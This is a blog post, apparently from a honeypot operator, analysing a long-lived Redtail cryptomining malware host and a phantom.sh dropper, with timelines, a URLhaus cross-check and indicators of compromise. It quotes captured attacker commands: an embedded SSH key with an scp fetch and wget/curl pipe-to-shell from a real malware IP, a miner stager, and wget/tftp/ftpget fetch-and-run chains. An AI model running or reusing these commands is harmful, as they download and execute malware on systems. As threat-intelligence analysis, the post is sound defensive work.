Redtail's Long Runner

Since May, malware hosts have shown up in my honeypot logs, gotten hit once, and disappeared. One host broke that pattern: 217[.]60[.]195[.]113, tied to the Redtail cryptomining botnet, kept getting hit by infected bots for 22.5 days.

Campaign Overview

Metric	Value
Host	217[.]60[.]195[.]113
Botnet	Redtail (cryptomining)
Honeypots	honeypot-01, honeypot-02, honeypot-03 (Cowrie SSH)
Span between first and last observed fetch	22.5 days
Fetches logged	84
Distinct attacker IPs	5
First observed fetch	2026-08-05, 13:23:22 UTC
Last observed fetch	2026-08-28, 02:28:14 UTC
URLhaus status	online, first seen 2026-06-13

Why this host stood out

I can only see what hit my own honeypots, not what's generally online elsewhere. Most of the 54 drop URLs I captured since May got fetched exactly once and never again:

Host	Span between first and last observed fetch
217[.]60[.]195[.]113	22.5 days
91[.]92[.]42[.]213	5.6 days
41[.]216[.]189[.]236	7 hrs
31[.]56[.]209[.]153	under 2 sec
49 other hosts	under 1 sec

Attribution: Redtail

A hex-encoded beacon in one attacker command, captured verbatim by Cowrie:

echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"

Decodes to redtail_bot_telnet_ok. Redtail is a cryptomining botnet documented by Akamai in 2024: opportunistic N-day exploitation, private mining pool, built to dodge public-pool detection signatures.

The SCP-key fallback

Most droppers here just use wget/curl. This one ships its own SSH private key and tries scp first. Verbatim Cowrie capture, condensed:

echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg...
-----END OPENSSH PRIVATE KEY-----' > key.ppk

scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh
if [ $? -eq 0 ]; then
  chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1
else
  (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh
fi

Why? Plaintext HTTP GETs to known-bad IPs are cheap to signature and block. An SSH/scp session looks like normal outbound SSH traffic to a naive filter. HTTP stays as the fallback, which, going by my captures, is actually the path used most of the time.

The stager itself

dlr() {
  rm -rf $1
  wget --no-check-certificate -q https://217.60.195.113/$1 || curl -skO https://217.60.195.113/$1
}

# writable, non-noexec dir with 2MB+ free
for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && dd if=/dev/zero of=.testfile2 bs=2M count=1 >/dev/null 2>&1; then
    break
  fi
done

dlr clean && chmod +x clean && sh clean && rm -rf clean   # evict competing miners

ARCH=$(uname -mp)
if echo "$ARCH" | grep -q "x86_64"; then dlr x86_64;
elif echo "$ARCH" | grep -q "aarch64"; then dlr aarch64;
elif echo "$ARCH" | grep -q "armv7"; then dlr arm7;
else
  for a in x86_64 i686 aarch64 arm7 riscv; do dlr $a; ./$a $1 >/dev/null 2>&1; done
fi

Two notable details:

• Checks for noexec-mounted filesystems before picking a working directory
• Kills competing miners (clean) before deploying its own payload

Attack Timeline

Date (2026)	Fetches	Distinct bots
Aug 05	8	1
6 day gap
Aug 12-16	20	1
1 day gap
Aug 18-19	12	2
1 day gap
Aug 21-25	28	1-2
Aug 26-28	16	1-3

Source IPs

Source IP	Country	ASN	Provider
47[.]87[.]65[.]226	CN	45102	Alibaba US Technology
77[.]90[.]185[.]20	GB	213790	LimitedNetwork-AS
130[.]12[.]180[.]51	SC	202412	OmegaTech-AS
154[.]127[.]68[.]65	LI resolved	AS37284	Aljeel-net
192[.]210[.]180[.]67	US	36352	ColoCrossing

Which honeypot took the hit

Honeypot	Fetches	Distinct URLs	Distinct attackers
honeypot-1	220	36	7
honeypot-2	94	25	10
honeypot-3	18	3	4

honeypot-03 (T-Pot hive) is active since 2026-07-25, roughly a third of honeypot-01's runtime, which explains most of the gap.

Cross-checking with URLhaus

I queried URLhaus's API against all 54 URLs, grouped by host:

Host	My honeypot	URLhaus status	URLhaus span
112[.]124[.]33[.]87:60147 (P2Pinfect)	1 fetch	offline	193 days
217[.]60[.]195[.]113 (Redtail)	84 fetches	online	76 days, ongoing
5[.]182[.]210[.]61	5 fetches	offline	52 days
31[.]56[.]209[.]153 (Mirai)	1 fetch	offline	29 days
152[.]32[.]240[.]167:9556	1 fetch	online	22 days, ongoing
5[.]182[.]210[.]174	1 fetch	online	22 days, ongoing
91[.]92[.]42[.]213 (phantom.sh)	6 fetches	offline	0 days on record

Two takeaways:

• Four hosts I assumed were one-shot burns were actually online for weeks. My honeypot just caught one moment of a longer story.
• 112[.]124[.]33[.]87 (P2Pinfect, unrelated botnet) has been online for 193 days, over 8x longer than Redtail. My honeypot logged it once.

URLhaus also shows three separate payload hashes for 217[.]60[.]195[.]113/sh (first seen 2026-06-13, 07-16, 08-06).

Also seen: phantom.sh

91[.]92[.]42[.]213 served phantom.sh over three protocols in one fallback chain:

wget http://91[.]92[.]42[.]213/phantom.sh; ...; sh phantom.sh;
tftp 91[.]92[.]42[.]213 -c get phantom.sh; ...; sh phantom.sh;
tftp -r phantom2.sh -g 91[.]92[.]42[.]213; ...; sh phantom2.sh;
ftpget -v -u anonymous -p anonymous -P 21 91[.]92[.]42[.]213 phantom1.sh phantom1.sh; sh phantom1.sh;

Same instinct as Redtail's scp fallback, less refined: try every delivery channel in case one's blocked. None of the three scripts were retrievable; URLhaus independently confirms all offline.

Indicators of Compromise

Host

• 217[.]60[.]195[.]113 (Redtail, online since 2026-06-13)
• 91[.]92[.]42[.]213 (phantom.sh, offline)

Payload

• sha256: ed23a8c75dc4f04acd8b68c51a0ebdb4d5cce6c06eed2451ebd0428a32d9df99

Beacon string

• redtail_bot_telnet_ok

Attacker IPs

• 47[.]87[.]65[.]226, 77[.]90[.]185[.]20, 130[.]12[.]180[.]51, 154[.]127[.]68[.]65, 192[.]210[.]180[.]67

Personal Take-Aways

What's interesting is seeing how many different ways this thing tries to hide its tracks. The scp fallback swaps a plaintext HTTP fetch, easy to signature, for an SSH session that looks like normal outbound traffic. The stager checks for noexec mounts before picking a working directory. It kills off any competing miner before installing its own.

I also found the cross-check on URLhaus interesting: personally, I thought that servers belonging to these botnets and hackers were only online briefly and temporarily. At least, that's how I'd perceived it when I'd looked at the logs before. To discover after the check that the server had been online for almost 200 days was quite a shock as this server not only got reported once.

Comments

Reply on this Mastodon post to join the discussion.

Load comments